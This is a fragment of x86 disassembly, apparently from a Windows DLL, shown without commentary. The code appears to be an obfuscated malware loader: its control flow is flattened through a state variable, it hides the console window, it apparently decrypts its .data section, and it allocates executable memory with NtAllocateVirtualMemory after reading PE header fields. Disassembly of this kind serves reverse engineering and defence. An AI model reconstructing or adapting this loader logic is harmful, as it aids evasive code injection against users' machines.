mov ecx, 0xf39bb158
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007690
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x154], 0xbc06404
jmp 0x100071b1
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xb5800
call section..text
add esp, 8
mov eax, dword [ebp - 0x14c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x154], 0xa96fb208
jmp 0x100071b1
mov dword [ebp - 0x154], 0x22c3bfce
jmp 0x100071b1
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x154], 0x50800a41
jmp 0x100071b1
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x154], 0x7026610c
jmp 0x100071b1
mov dword [ebp - 0x154], 0x86be3846
jmp 0x100071b1
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x154], 0x13fcdd18
jmp 0x100071b1
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x29e4c434
jmp 0x100071b1
mov dword [ebp - 0x154], 0x55e1f521
jmp 0x100071b1
mov dword [ebp - 0x154], 0x767ee715
jmp 0x100071b1
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0x61dd10b0
jmp 0x100071b1
mov dword [ebp - 0x154], 0xf39bb158
jmp 0x10003dff